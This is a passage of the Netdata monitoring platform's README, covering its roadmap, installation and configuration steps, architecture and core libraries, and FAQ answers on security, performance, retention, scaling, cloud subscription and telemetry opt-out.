Netdata is a modular platform that can be extended in all possible ways and it also integrates nicely with other monitoring solutions.
<br/>
<p align="center">
<img src="https://raw.githubusercontent.com/cncf/artwork/master/other/cncf/horizontal/white/cncf-white.svg#gh-dark-mode-only" alt="CNCF" width="300">
<img src="https://raw.githubusercontent.com/cncf/artwork/master/other/cncf/horizontal/black/cncf-black.svg#gh-light-mode-only" alt="CNCF" width="300">
<br />
Netdata actively supports and is a member of the Cloud Native Computing Foundation (CNCF)<br />
<br/>
...and due to your love :heart:, it is the 3rd most :star:'d project in the <a href="https://landscape.cncf.io/card-mode?grouping=no&sort=stars">CNCF landscape</a>!
</p>
<br/>
<hr class="solid">
<p align="center">
<b>Below is an animated image, but you can see Netdata live!</b><br/>
<a href="https://frankfurt.netdata.rocks"><b>FRANKFURT</b></a> |
<a href="https://newyork.netdata.rocks"><b>NEWYORK</b></a> |
<a href="https://atlanta.netdata.rocks"><b>ATLANTA</b></a> |
<a href="https://sanfrancisco.netdata.rocks"><b>SANFRANCISCO</b></a> |
<a href="https://toronto.netdata.rocks"><b>TORONTO</b></a> |
<a href="https://singapore.netdata.rocks"><b>SINGAPORE</b></a> |
<a href="https://bangalore.netdata.rocks"><b>BANGALORE</b></a>
<br/>
<i>They are clustered Netdata Parents. They all have the same data. <b>Select the one closer to you.</b></i>
<br/>
<i>All these run with the default configuration. We only clustered them to have multi-node dashboards.</i>
</p>
<hr class="solid">
> **Important** :bulb:<br/>
> People get addicted to Netdata. Once you use it on your systems, **there's no going back!**<br/>
<hr class="solid">
## What's New and Coming?
<details><summary>Click to see our immediate development plans and a summary view of the last 12 months' releases...</summary>
<br/>
| What | Description | When | Status |
|:-----------------------------:|:---------------------------------------------------------------------------------------------------:|:------------:|:-------------------------------------------------------------------------------------------------------:|
| WebRTC | Browser to Agent communication via WebRTC. | later | POC |
| Advanced Troubleshooting | Expanded view of dashboard charts integrating Metrics Correlations, Anomaly Advisor, and many more. | later | interrupted |
| Easy Custom<br/>Dashboards | Drag and drop charts to create custom dashboards on the fly, while troubleshooting! | next | planned |
| More Customizability | Set default settings for all charts and views! | next | planned |
| SystemD Journal | View the SystemD Journal of your systems on the dashboard. | soon | in progress |
| UCUM Units | Migrate all metrics to the Unified Code for Units of Measure. | soon | in progress |
| **Netdata Cloud<br/>On-Prem** | **Netdata Cloud available for On-Prem installation!** | **soon** | **in progress** |
| Click to Activate | Configure Alerts and Data Collectors from the UI! | soon | in progress |
| Integrations | Netdata Integrations Marketplace! | Aug<br/>2023 | [v1.42](https://github.com/netdata/netdata/releases#v1420-integrations-marketplace) |
| New Agent UI | Now Netdata Cloud and Netdata Agent share the same dashboard! | Jul<br/>2023 | [v1.41](https://github.com/netdata/netdata/releases/tag/v1.41.0#v1410-one-dashboard) |
| Summary Dashboards | High level tiles everywhere! | Jun<br/>2023 | [v1.40](https://github.com/netdata/netdata/releases/tag/v1.40.0#v1400-visualization-summary-dashboards) |
| Machine Learning | Multiple ML models per metric. | Jun<br/>2023 | [v1.40](https://github.com/netdata/netdata/releases/tag/v1.40.0#v1400-ml-extended-training) |
| SSL | Netdata Agent gets a new SSL layer. | Jun<br/>2023 | [v1.40](https://github.com/netdata/netdata/releases/tag/v1.40.0#v1400-streaming) |
| New Cloud UI | Filter, slice and dice any dataset from the UI! ML-first! | May<br/>2023 | [v1.39](https://github.com/netdata/netdata/releases/tag/v1.39.0) |
| Microsoft Windows | Monitor Windows hosts and apps! | May<br/>2023 | [v1.39](https://github.com/netdata/netdata/releases/tag/v1.39.0#v1390-windows-support) |
| Virtual Nodes | Go collectors can now be assigned to virtual nodes! | May<br/>2023 | [v1.39](https://github.com/netdata/netdata/releases/tag/v1.39.0#v1390-virtual-nodes-and-custom-labels) |
| DBENGINE v2 | Faster, more reliable, far more scalable! | Feb<br/>2023 | [v1.38](https://github.com/netdata/netdata/releases/tag/v1.38.0) |
| Netdata Functions | Netdata beyond metrics! Monitoring anything! | Feb<br/>2023 | [v1.38](https://github.com/netdata/netdata/releases/tag/v1.38.0#v1380-functions) |
| Events Feed | Live feed of events about topology changes and alerts. | Feb<br/>2023 | [v1.38](https://github.com/netdata/netdata/releases/tag/v1.38.0#v1380-feed) |
| Role Based<br/>Access Control | More roles, offering finer control over access to infrastructure. | Feb<br/>2023 | [v1.38](https://github.com/netdata/netdata/releases/tag/v1.38.0#v1380-rbac) |
| Infinite Scalability | Streaming compression. Replication. Active-active clustering. | Nov<br/>2022 | [v1.37](https://github.com/netdata/netdata/releases/tag/v1.37.0) |
| Grafana Plugin | Netdata Cloud as a data source for Grafana. | Nov<br/>2022 | [v1.37](https://github.com/netdata/netdata/releases/tag/v1.37.0#v1370-grafana-plugin) |
| PostgreSQL | Completely rewritten, to reveal all the info, even at the table level. | Nov<br/>2022 | [v1.37](https://github.com/netdata/netdata/releases/tag/v1.37.0#v1370-postgressql) |
| Metrics Correlations | Advanced algorithms to find the needle in the haystack. | Aug<br/>2022 | [v1.36](https://github.com/netdata/netdata/releases/tag/v1.36.0) |
| Database Tiering | Netdata gets unlimited retention! | Aug<br/>2022 | [v1.36](https://github.com/netdata/netdata/releases/tag/v1.36.0#v1360-tiering) |
| Kubernetes | Monitor your Kubernetes workloads. | Aug<br/>2022 | [v1.36](https://github.com/netdata/netdata/releases/tag/v1.36.0#v1360-kubernetes) |
| Machine Learning | Anomaly Rate information on every chart. | Aug<br/>2022 | [v1.36](https://github.com/netdata/netdata/releases/tag/v1.36.0#v1360-anomaly-rate-on-charts) |
| Machine Learning | Anomaly Advisor! Bottom-up unsupervised anomaly detection. | Jun<br/>2022 | [v1.35](https://github.com/netdata/netdata/releases/tag/v1.35.0#v1350-anomaly-advisor-ml) |
| Machine Learning | Metrics Correlation on the Agent. | Jun<br/>2022 | [v1.35](https://github.com/netdata/netdata/releases/tag/v1.35.0#v1350-metric-correlation-agent) |
</details>
<hr class="solid">
## Getting Started
<p align="center">
<a href="https://registry.my-netdata.io/#menu_netdata_submenu_registry"><img src="https://registry.my-netdata.io/api/v1/badge.svg?chart=netdata.registry_entries&dimensions=persons&label=user%20base&units=M&value_color=blue&precision=2÷=1000000&options=unaligned&tier=1&v44" alt="User base"></a>
<a href="https://registry.my-netdata.io/#menu_netdata_submenu_registry"><img src="https://registry.my-netdata.io/api/v1/badge.svg?chart=netdata.registry_entries&dimensions=machines&label=servers%20monitored&units=M÷=1000000&value_color=orange&precision=2&options=unaligned&tier=1&v44" alt="Servers monitored"></a>
<a href="https://registry.my-netdata.io/#menu_netdata_submenu_registry"><img src="https://registry.my-netdata.io/api/v1/badge.svg?chart=netdata.registry_sessions&label=sessions%20served&units=M&value_color=yellowgreen&precision=2÷=1000000&options=unaligned&tier=1&v44" alt="Sessions served"></a>
<a href="https://hub.docker.com/r/netdata/netdata"><img src="https://registry.my-netdata.io/api/v1/badge.svg?chart=dockerhub.pulls_sum÷=1000000&precision=1&units=M&label=docker+hub+pulls&options=unaligned&tier=1&v44" alt="Docker Hub pulls"></a>
<br />
<a href="https://registry.my-netdata.io/#menu_netdata_submenu_registry"><img src="https://registry.my-netdata.io/api/v1/badge.svg?chart=netdata.registry_entries&dimensions=persons&after=-86400&options=unaligned&group=incremental-sum&label=new%20users%20today&units=null&value_color=blue&precision=0&options=unaligned&tier=1&v44" alt="New users today"></a>
<a href="https://registry.my-netdata.io/#menu_netdata_submenu_registry"><img src="https://registry.my-netdata.io/api/v1/badge.svg?chart=netdata.registry_entries&dimensions=machines&group=incremental-sum&after=-86400&options=unaligned&label=servers%20added%20today&units=null&value_color=orange&precision=0&tier=1&v44" alt="New machines today"></a>
<a href="https://registry.my-netdata.io/#menu_netdata_submenu_registry"><img src="https://registry.my-netdata.io/api/v1/badge.svg?chart=netdata.registry_sessions&after=-86400&group=incremental-sum&options=unaligned&label=sessions%20served%20today&units=null&value_color=yellowgreen&precision=0&tier=1&v44" alt="Sessions today"></a>
<a href="https://hub.docker.com/r/netdata/netdata"><img src="https://registry.my-netdata.io/api/v1/badge.svg?chart=dockerhub.pulls_sum÷=1000&precision=1&units=k&label=docker+hub+pulls&after=-86400&group=incremental-sum&label=docker%20hub%20pulls%20today&options=unaligned&tier=1&v44" alt="Docker Hub pulls today"></a>
</p>
### 1. **Install Netdata everywhere** :v:
Netdata can be installed on all Linux, macOS, and FreeBSD systems. We provide binary packages for the most popular operating systems and package managers.
- Install on [Ubuntu, Debian CentOS, Fedora, Suse, Red Hat, Arch, Alpine, Gentoo, even BusyBox](https://learn.netdata.cloud/docs/installing/one-line-installer-for-all-linux-systems).
- Install with [Docker](https://learn.netdata.cloud/docs/installing/docker).<br/>
Netdata is a [Verified Publisher on DockerHub](https://hub.docker.com/r/netdata/netdata) and our users enjoy free unlimited DockerHub pulls :heart_eyes:.
- Install on [MacOS](https://learn.netdata.cloud/docs/installing/macos) :metal:.
- Install on [FreeBSD](https://learn.netdata.cloud/docs/installing/freebsd) and [pfSense](https://learn.netdata.cloud/docs/installing/pfsense).
- Install [from source](https://learn.netdata.cloud/docs/installing/build-the-netdata-agent-yourself/compile-from-source-code) 
- For Kubernetes deployments [check here](https://learn.netdata.cloud/docs/installation/install-on-specific-environments/kubernetes/).
Check also the [Netdata Deployment Strategies](https://learn.netdata.cloud/docs/architecture/deployment-strategies) to decide how to deploy it in your infrastructure.
### 2. **Configure Collectors** :boom:
Netdata auto-detects and auto-discovers most operating system data sources and applications. However, many data sources require some manual configuration, usually to allow Netdata to get access to the metrics.
- For a detailed list of the 800+ collectors available, check [this guide](https://learn.netdata.cloud/docs/data-collection/).
- To monitor Windows servers and applications use [this guide](https://learn.netdata.cloud/docs/data-collection/monitor-anything/system-metrics/windows-machines).
- To monitor SNMP devices check [this guide](https://learn.netdata.cloud/docs/data-collection/monitor-anything/networking/snmp).
### 3. **Configure Alert Notifications** :bell:
Netdata comes with hundreds of pre-configured alerts, that automatically check your metrics, immediately after they start getting collected.
Netdata can dispatch alert notifications to multiple third party systems, including: `email`, `Alerta`, `AWS SNS`, `Discord`, `Dynatrace`, `flock`, `gotify`, `IRC`, `Matrix`, `MessageBird`, `Microsoft Teams`, `ntfy`, `OPSgenie`, `PagerDuty`, `Prowl`, `PushBullet`, `PushOver`, `RocketChat`, `Slack`, `SMS tools`, `StackPulse`, `Syslog`, `Telegram`, `Twilio`.
By default, Netdata will send e-mail notifications, if there is a configured MTA on the system.
### 4. **Configure Netdata Parents** :family:
Optionally, configure one or more Netdata Parents. A Netdata Parent is a Netdata Agent that has been configured to accept [streaming connections](https://learn.netdata.cloud/docs/streaming/streaming-configuration-reference) from other Netdata agents.
Netdata Parents provide:
- **Infrastructure level dashboards, at `http://parent.server.ip:19999/`.**<br/>
Each Netdata Agent has an API listening at the TCP port 19999 of each server.
When you hit that port with a web browser (e.g. `http://server.ip:19999/`), the Netdata Agent UI is presented.
When the Netdata Agent is also a Parent, the UI of the Parent includes data for all nodes that stream metrics to that Parent.
- **Increased retention for all metrics of all your nodes.**<br/>
Each Netdata Agent maintains each own database of metrics. But Parents can be given additional resources to maintain a much longer database than
individual Netdata Agents.
- **Central configuration of alerts and dispatch of notifications.**<br/>
Using Netdata Parents, all the alert notifications integrations can be configured only once, at the Parent and they can be disabled at the Netdata Agents.
You can also use Netdata Parents to:
- Offload your production systems (the parents run ML, alerts, queries, etc. for all their children)
- Secure your production systems (the parents accept user connections, for all their children)
### 5. **Connect to Netdata Cloud** :cloud:
Optionally, [sign-in](https://app.netdata.cloud/sign-in) to [Netdata Cloud](https://www.netdata.cloud/) and claim your Netdata Agents and Parents.
If you connect your Netdata Parents, there is no need to connect your Netdata Agents. They will be connected via the Parents.
When your Netdata nodes are connected to Netdata Cloud, you can (on top of the above):
- Organize your infra in spaces and rooms
- Create, manage, and share **custom dashboards**
- Invite your team and assign roles to them (Role Based Access Control - RBAC)
- Access Netdata Functions (processes top from the UI and more)
- Get infinite horizontal scalability (multiple independent parents are viewed as one infra)
- Configure alerts from the UI (coming soon)
- Configure data collection from the UI (coming soon)
- Netdata Mobile App notifications (coming soon)
:love_you_gesture: Netdata Cloud does not prevent you from using your Netdata Agents and Parents directly, and vice versa.<br/>
:ok_hand: Your metrics are still stored in your network when you connect your Netdata Agents and Parents to Netdata Cloud.
<hr class="solid">
<hr class="solid">
## How it works
Netdata is built around a **modular metrics processing pipeline**.
<details><summary>Click to see more details about this pipeline...</summary>
<br/>
Each Netdata Agent can perform the following functions:
1. **`COLLECT` metrics from their sources**<br/>
Uses [internal](https://github.com/netdata/netdata/tree/master/collectors) and [external](https://github.com/netdata/go.d.plugin/tree/master/modules) plugins to collect data from their sources.
Netdata auto-detects and collects almost everything from the operating system: including CPU, Interrupts, Memory, Disks, Mount Points, Filesystems, Network Stack, Network Interfaces, Containers, VMs, Processes, SystemD Units, Linux Performance Metrics, Linux eBPF, Hardware Sensors, IPMI, and more.
It collects application metrics from applications: PostgreSQL, MySQL/MariaDB, Redis, MongoDB, Nginx, Apache, and hundreds more.
Netdata also collects your custom application metrics by scraping OpenMetrics exporters, or via StatsD.
It can convert web server log files to metrics and apply ML and alerts to them, in real-time.
And it also supports synthetic tests / white box tests, so you can ping servers, check API responses, or even check filesystem files and directories to generate metrics, train ML and run alerts and notifications on their status.
2. **`STORE` metrics to a database**<br/>
Uses database engine plugins to store the collected data, either in memory and/or on disk. We have developed our own [`dbengine`](https://github.com/netdata/netdata/tree/master/database/engine#readme) for storing the data in a very efficient manner, allowing Netdata to have less than 1 byte per sample on disk and amazingly fast queries.
3. **`LEARN` the behavior of metrics** (ML)<br/>
Trains multiple Machine-Learning (ML) models per metric to learn the behavior of each metric individually. Netdata uses the `kmeans` algorithm and creates by default a model per metric per hour, based on the values collected for that metric over the last 6 hours. The trained models are persisted to disk.
4. **`DETECT` anomalies in metrics** (ML)<br/>
Uses the trained machine learning (ML) models to detect outliers and mark collected samples as **anomalies**. Netdata stores anomaly information together with each sample and also streams it to Netdata Parents so that the anomaly is also available at query time for the whole retention of each metric.
5. **`CHECK` metrics and trigger alert notifications**<br/>
Uses its configured alerts (you can configure your own) to check the metrics for common issues and uses notifications plugins to send alert notifications.
6. **`STREAM` metrics to other Netdata Agents**<br/>
Push metrics in real-time to Netdata Parents.
7. **`ARCHIVE` metrics to 3rd party databases**<br/>
Export metrics to industry standard time-series databases, like `Prometheus`, `InfluxDB`, `OpenTSDB`, `Graphite`, etc.
8. **`QUERY` metrics and present dashboards**<br/>
Provide an API to query the data and present interactive dashboards to users.
9. **`SCORE` metrics to reveal similarities and patterns**<br/>
Score the metrics according to the given criteria, to find the needle in the haystack.
When using Netdata Parents, all the functions of a Netdata Agent (except data collection) can be delegated to Parents to offload production systems.
The core of Netdata is developed in C. We have our own `libnetdata`, that provides:
- **`DICTIONARY`**<br/>
A high-performance algorithm to maintain both indexed and ordered pools of structures Netdata needs. It uses JudyHS arrays for indexing, although it is modular: any hashtable or tree can be integrated into it. Despite being in C, dictionaries follow object-oriented programming principles, so there are constructors, destructors, automatic memory management, garbage collection, and more. For more see [here](https://github.com/netdata/netdata/tree/master/libnetdata/dictionary).
- **`ARAL`**<br/>
ARray ALlocator (ARAL) is used to minimize the system allocations made by Netdata. ARAL is optimized for peak performance when multi-threaded. It also allows all structures that use it to be allocated in memory-mapped files (shared memory) instead of RAM. For more see [here](https://github.com/netdata/netdata/tree/master/libnetdata/aral).
- **`PROCFILE`**<br/>
A high-performance `/proc` (but also any) file parser and text tokenizer. It achieves its performance by keeping files open and adjustings its buffers to read the entire file in one call (which is also required by the Linux kernel). For more see [here](https://github.com/netdata/netdata/tree/master/libnetdata/procfile).
- **`STRING`**<br/>
A string internet mechanism, for string deduplication and indexing (using JudyHS arrays), optimized for multi-threaded usage. For more see [here](https://github.com/netdata/netdata/tree/master/libnetdata/string).
- **`ARL`**<br/>
Adaptive Resortable List (ARL), is a very fast list iterator, that keeps the expected items on the list in the same order they are found in input list. So, the first iteration is somewhat slower, but all the following iterations are perfectly aligned for best performance. For more see [here](https://github.com/netdata/netdata/tree/master/libnetdata/adaptive_resortable_list).
- **`BUFFER`**<br/>
A flexible text buffer management system that allows Netdata to automatically handle dynamically sized text buffer allocations. The same mechanism is used for generating consistent JSON output by the Netdata APIs. For more see [here](https://github.com/netdata/netdata/tree/master/libnetdata/buffer).
- **`SPINLOCK`**<br/>
Like POSIX `MUTEX` and `RWLOCK` but a lot faster, based on atomic operations, with significantly smaller memory impact, while being portable.
- **`PGC`**<br/>
A caching layer that can be used to cache any kind of time-related data, with automatic indexing (based on a tree of JudyL arrays), memory management, evictions, flushing, pressure management. This is extensively used in `dbengine`. For more see [here](https://github.com/netdata/netdata/blob/master/database/engine/README.md).
The above, and many more, allow Netdata developers to work on the application fast and with confidence. Most of the business logic in Netdata is a work of mixing the above.
Netdata data collection plugins can be developed in any language. Most of our application collectors though are developed in [Go](https://github.com/netdata/go.d.plugin).
</details>
## FAQ
### :shield: Is Netdata secure?
Of course it is! We do our best to ensure it is!
<details><summary>Click to see detailed answer ...</summary>
<br/> <br/>
We understand that Netdata is a software piece that is installed on millions of production systems across the world. So, it is important for us, Netdata to be as secure as possible:
- We follow the [Open Source Security Foundation](https://bestpractices.coreinfrastructure.org/en/projects/2231) best practices.
- We have given great attention to detail when it comes to security design. Check out our [security design](https://learn.netdata.cloud/docs/architecture/security-and-privacy-design).
- Netdata is a popular open-source project and is frequently tested by many security analysts.
- Check also our [security policies and advisories published so far](https://github.com/netdata/netdata/security).
<br/> <br/>
</details>
### :cyclone: Will Netdata consume significant resources on my servers?
No. It will not! We promise this will be fast!
<details><summary>Click to see detailed answer ...</summary>
<br/> <br/>
Although each Netdata Agent is a complete monitoring solution packed into a single application, and despite the fact that Netdata collects **every metric every single second** and trains **multiple ML models** per metric, you will find that Netdata has amazing performance! In many cases, it outperforms other monitoring solutions that have significantly fewer features or far smaller data collection rates.
This is what you should expect:
- For production systems, each Netdata Agent with default settings (everything enabled, ML, Health, DB) should consume about 5% CPU utilization of one core and about 150 MiB or RAM.
By using a Netdata parent and streaming all metrics to that parent, you can disable ML & health and use an ephemeral DB mode (like `alloc`) on the children, leading to utilization of about 1% CPU of a single core and 100 MiB of RAM. Of course, these depend on how many metrics are collected.
- For Netdata Parents, for about 1 to 2 million metrics, all collected every second, we suggest a server with 16 cores and 32GB RAM. Less than half of it will be used for data collection and ML. The rest will be available for queries.
Netdata has extensive internal instrumentation to help us reveal how the resources consumed are used. All these are available in the "Netdata Monitoring" section of the dashboard. Depending on your use case, there are many options to optimize resource consumption.
Even if you need to run Netdata on extremely weak embedded or IoT systems, you will find that Netdata can be tuned to be very performant.
<br/> <br/>
</details>
### :scroll: How much retention can I have?
As much as you need!
<details><summary>Click to see detailed answer ...</summary>
<br/> <br/>
Netdata supports **tiering**, to downsample past data and save disk space. With default settings, it has 3 tiers:
1. `tier 0`, with high resolution, per-second, data.
2. `tier 1`, mid-resolution, per minute, data.
3. `tier 2`, low-resolution, per hour, data.
All tiers are updated in parallel during data collection. Just increase the disk space you give to Netdata to get a longer history for your metrics. Tiers are automatically chosen at query time depending on the time frame and the resolution requested.
<br/> <br/>
</details>
### :rocket: Does it scale? I have really a lot of servers!
Netdata is designed to scale and can handle large volumes of data.
<details><summary>Click to see detailed answer ...</summary>
<br/> <br/>
Netdata is a distributed monitoring solution. You can scale it to infinity by spreading Netdata servers across your infrastructure.
With the streaming feature of the Agent, we can support monitoring ephemeral servers but also allow the creation of "monitoring islands" where metrics are aggregated to a few servers (Netdata Parents) for increased retention, or for offloading production systems.
- :airplane: Netdata Parents provide great vertical scalability, so you can have as big parents as the CPU, RAM and Disk resources you can dedicate to them. In our lab we constantly stress test Netdata Parents with several million metrics collected per second, to ensure it is reliable, stable, and robust at scale.
- :rocket: In addition, Netdata Cloud provides virtually unlimited horizontal scalability. It "merges" all the Netdata parents you have into one unified infrastructure at query time. Netdata Cloud itself is probably the biggest single installation monitoring platform ever created, currently monitoring about 100k online servers with about 10k servers changing state (added/removed) per day!
Example: the following chart comes from a single Netdata Parent. As you can see on it, 244 nodes stream to it metrics of about 20k running containers. On this specific chart there are 3 dimensions per container, so a total of about 60k time-series queries are needed to present it.
<br/> <br/>
</details>
### :floppy_disk: My production servers are very sensitive in disk I/O. Can I use Netdata?
Yes, you can!
<details><summary>Click to see detailed answer ...</summary>
<br/> <br/>
Netdata has been designed to spread disk writes across time. Each metric is flushed to disk every 17 minutes, but metrics are flushed evenly across time, at an almost constant rate. Also, metrics are packed into bigger blocks we call `extents` and are compressed with LZ4 before saving them, to minimize the number of I/O operations made.
Single node Agents (not Parents), should have a constant rate of about 50 KiB/s or less, with some spikes above that every minute (flushing of tier 1) and higher spikes every hour (flushing of tier 2).
Health Alerts and Machine-Learning run queries to evaluate their expressions and learn from the metrics' patterns. These are also spread over time, so there should be an almost constant read rate too.
To make Netdata not use the disks at all, we suggest the following:
1. Use database mode `alloc` or `ram` to disable writing metric data to disk.
2. Configure streaming to push in real-time all metrics to a Netdata Parent. The Netdata Parent will maintain metrics on disk for this node.
3. Disable ML and health on this node. The Netdata Parent will do them for this node.
4. Use the Netdata Parent to access the dashboard.
Using the above, the Netdata Agent on your production system will not use a disk.
<br/> <br/>
</details>
### :raised_eyebrow: How is Netdata different from a Prometheus and Grafana setup?
Netdata is a "ready to use" monitoring solution. Prometheus and Grafana are tools to build your own monitoring solution.
<details><summary>Click to see detailed answer ...</summary>
<br/> <br/>
First, we have to say that Prometheus as a time-series database and Grafana as a visualizer are excellent tools for what they do.
However, we believe that such a setup is missing a key element: A Prometheus and Grafana setup assumes that you know everything about the metrics you collect and you understand deeply how they are structured, they should be queried and visualized.
In reality, this setup has a lot of problems. The vast number of technologies, operating systems, and applications we use in our modern stacks, makes it impossible for any single person to know and understand everything about anything. We get testimonials regularly from Netdata users across the biggest enterprises, that Netdata manages to reveal issues, anomalies and problems they were not aware of and they didn't even have the means to find or troubleshoot.
So, the biggest difference of Netdata to Prometheus, and Grafana, is that we decided that the tool needs to have a much better understanding of the components, the applications, and the metrics it monitors.
- When compared to Prometheus, Netdata needs for each metric much more than just a name, some labels, and a value over time. A metric in Netdata is a structured entity that correlates with other metrics in a certain way and has specific attributes that depict how it should be organized, treated, queried, and visualized. We call this the NIDL (Nodes, Instances, Dimensions, Labels) framework.
Maintaining such an index is a challenge: first, because the raw metrics collected do not provide this information, so we have to add it, and second because we need to maintain this index for the lifetime of each metric, which with our current database retention, it is usually more than a year.
At the same time, Netdata provides better retention than Prometheus due to database tiering, scales easier than Prometheus due to streaming, supports anomaly detection and it has a mertrics scoring engine to find the needle in the haystack when needed.
- When compared to Grafana, Netdata is fully automated. Grafana has more customization capabilities than Netdata, but Netdata presents fully functional dashboards by itself and most importantly it gives you the means to understand, analyze, filter, slice and dice the data without the need for you to edit queries or be aware of any peculiarities the underlying metrics may have.
Furthermore, to help you when you need to find the needle in the haystack, Netdata has advanced troubleshooting tools provided by the Netdata metrics scoring engine, that allows it to score metrics based on their anomaly rate, their differences or similarities for any given time frame.
Still, if you are already familiar with Prometheus and Grafana, Netdata integrates nicely with them, and we have reports from users who use Netdata with Prometheus and Grafana in production.
<br/> <br/>
</details>
### :raised_eyebrow: How is Netdata different from DataDog, New Relic, Dynatrace, X SaaS Provider?
With Netdata your data are always on-prem and your metrics are always high-resolution.
<details><summary>Click to see detailed answer ...</summary>
<br/> <br/>
Most commercial monitoring providers face a significant challenge: they centralize all metrics to their infrastructure and this is, inevitably, expensive. It leads them to one or more of the following:
1. be unrealistically expensive
2. limit the number of metrics they collect
3. limit the resolution of the metrics they collect
As a result, they try to find a balance: collect the least possible data, but collect enough to have something useful out of it.
We, at Netdata, see monitoring in a completely different way: **monitoring systems should be built bottom-up and be rich in insights**, so we focus on each component individually to collect, store, check and visualize everything related to each of them, and we make sure that all components are monitored. Each metric is important.
This is why Netdata trains multiple machine-learning models per metric, based exclusively on their own past (no sampling of data, no sharing of trained models) to detect anomalies based on the specific use case and workload each component is used.
This is also why Netdata alerts are attached to components (instances) and are configured with dynamic thresholds and rolling windows, instead of static values.
The distributed nature of Netdata helps scale this approach: your data is spread inside your infrastructure, as close to the edge as possible. Netdata is not one data lane. Each Netdata Agent is a data lane and all of them together build a massive distributed metrics processing pipeline that ensures all your infrastructure components and applications are monitored and operating as they should.
<br/> <br/>
</details>
### :raised_eyebrow: How is Netdata different from Nagios, Icinga, Zabbix, etc?
Netdata offers real-time, comprehensive monitoring, with a user-friendly interface and the ability to monitor everything, without any custom configuration required.
<details><summary>Click to see detailed answer ...</summary>
<br/> <br/>
While Nagios, Icinga, Zabbix, and other similar tools are powerful and highly customizable, they can be complex to set up and manage. Their flexibility often comes at the cost of ease-of-use, especially for users who are not systems administrators or do not have extensive experience with these tools. Additionally, these tools generally require you to know what you want to monitor in advance and configure it explicitly.
Netdata, on the other hand, takes a different approach. It provides a "ready to use" monitoring solution with a focus on simplicity and comprehensiveness. It automatically detects and starts monitoring many different system metrics and applications out-of-the-box, without any need for custom configuration.
In comparison to these traditional monitoring tools, Netdata:
- Provides real-time, high-resolution metrics, as opposed to the often minute-level granularity that tools like Nagios, Icinga, and Zabbix provide.
- Automatically generates meaningful, organized, and interactive visualizations of the collected data. Unlike other tools, where you have to manually create and organize graphs and dashboards, Netdata takes care of this for you.
- Applies machine learning to each individual metric to detect anomalies, providing more insightful and relevant alerts than static thresholds.
- Is designed to be distributed, so your data is spread inside your infrastructure, as close to the edge as possible. This approach is more scalable and avoids the potential bottleneck of a single centralized server.
- Has a more modern and user-friendly interface, making it easy for anyone, not just experienced administrators, to understand the health and performance of their systems.
Even if you're already using Nagios, Icinga, Zabbix, or similar tools, you can use Netdata alongside them to augment your existing monitoring capabilities with real-time insights and user-friendly dashboards.
<br/> <br/>
</details>
### :flushed: I feel overwhelmed by the amount of information in Netdata. What should I do?
Netdata is designed to provide comprehensive insights, but we understand that the richness of information might sometimes feel overwhelming. Here are some tips on how to navigate and utilize Netdata effectively...
<details><summary>Click to see detailed answer ...</summary>
<br/> <br/>
Netdata is indeed a very comprehensive monitoring tool. It's designed to provide you with as much information as possible about your system and applications, so that you can understand and address any issues that arise. However, we understand that the sheer amount of data can sometimes be overwhelming.
Here are some suggestions on how to manage and navigate this wealth of information:
1. **Start with the Overview Dashboard**<br/>
Netdata's Overview Dashboard provides a high-level summary of your system's status. We have added summary tiles on almost every section, you reveal the information that is more important. This is a great place to start, as it can help you identify any major issues or trends at a glance.
2. **Use the Search Feature**<br/>
If you're looking for specific information, you can use the search feature to find the relevant metrics or charts. This can help you avoid scrolling through all the data.
3. **Customize your Dashboards**<br/>
Netdata allows you to create custom dashboards, which can help you focus on the metrics that are most important to you. Sign-in to Netdata and there you can have your custom dashboards. (coming soon to the agent dashboard too)
4. **Leverage Netdata's Anomaly Detection**<br/>
Netdata uses machine learning to detect anomalies in your metrics. This can help you identify potential issues before they become major problems. We have added an `AR` button above the dashboard table of contents to reveal the anomaly rate per section so that you can easily spot what could need your attention.
5. **Take Advantage of Netdata's Documentation and Blogs**<br/>
Netdata has extensive documentation that can help you understand the different metrics and how to interpret them. You can also find tutorials, guides, and best practices there.
Remember, it's not necessary to understand every single metric or chart right away. Netdata is a powerful tool, and it can take some time to fully explore and understand all of its features. Start with the basics and gradually delve into more complex metrics as you become more comfortable with the tool.
<br/> <br/>
</details>
### :cloud: Do I have to subscribe to Netdata Cloud?
Subscribing to Netdata Cloud is optional but many users find it enhances their experience with Netdata.
<details><summary>Click to see detailed answer ...</summary>
<br/> <br/>
The Netdata Agent dashboard and the Netdata Cloud dashboard are the same. Still, Netdata Cloud provides additional features, that the Netdata Agent is not capable of. These include:
1. Customizability (custom dashboards and other settings are persisted when you are signed in to Netdata Cloud)
2. Configuration of Alerts and Data Collection from the UI (coming soon)
3. Security (role-based access control - RBAC).
4. Horizontal Scalability ("blend" multiple independent parents in one uniform infrastructure)
5. Central Dispatch of Alert Notifications (even when multiple independent parents are involved)
6. Mobile App for Alert Notifications (coming soon)
So, although it is not required, you can get the most out of your Netdata setup by using Netdata Cloud.
We encourage you to support Netdata by buying a Netdata Cloud subscription. A successful Netdata is a Netdata that evolves and gets improved to provide a simpler, faster and easier monitoring for all of us.
For organizations that need a fully on-prem solution, we provide Netdata Cloud for on-prem installation. [Contact us for more information](mailto:info@netdata.cloud).
<br/> <br/>
</details>
### :mag_right: What does the anonymous telemetry collected by Netdata entail?
Your privacy is our utmost priority. As part of our commitment to improving Netdata, we rely on anonymous telemetry data from our users who choose to leave it enabled. This data greatly informs our decision-making processes and contributes to the future evolution of Netdata.
Should you wish to disable telemetry, instructions for doing so are provided in our installation guides.
<details><summary>Click to see detailed answer ...</summary>
<br/> <br/>
Netdata is in a constant state of growth and evolution. The decisions that guide this development are ideally rooted in data. By analyzing anonymous telemetry data, we can answer questions such as: "What features are being used frequently?", "How do we prioritize between potential new features?" and "What elements of Netdata are most important to our users?"
By leaving anonymous telemetry enabled, users indirectly contribute to shaping Netdata's roadmap, providing invaluable information that helps us prioritize our efforts for the project and the community.
We are aware that for privacy or regulatory reasons, not all environments can allow telemetry. To cater to this, we have simplified the process of disabling telemetry:
- During installation, you can append `--disable-telemetry` to our `kickstart.sh` script, or
- Create the file `/etc/netdata/.opt-out-from-anonymous-statistics` and then restart Netdata.
These steps will disable the anonymous telemetry for your Netdata installation.
Please note, even with telemetry disabled, Netdata still requires a [Netdata Registry](https://learn.netdata.cloud/docs/configuring/securing-netdata-agents/registry) for alert notifications' Call To Action (CTA) functionality. When you click an alert notification, it redirects you to the Netdata Registry, which then directs your web browser to the specific Netdata Agent that issued the alert for further troubleshooting. The Netdata Registry learns the URLs of your agents when you visit their dashboards.
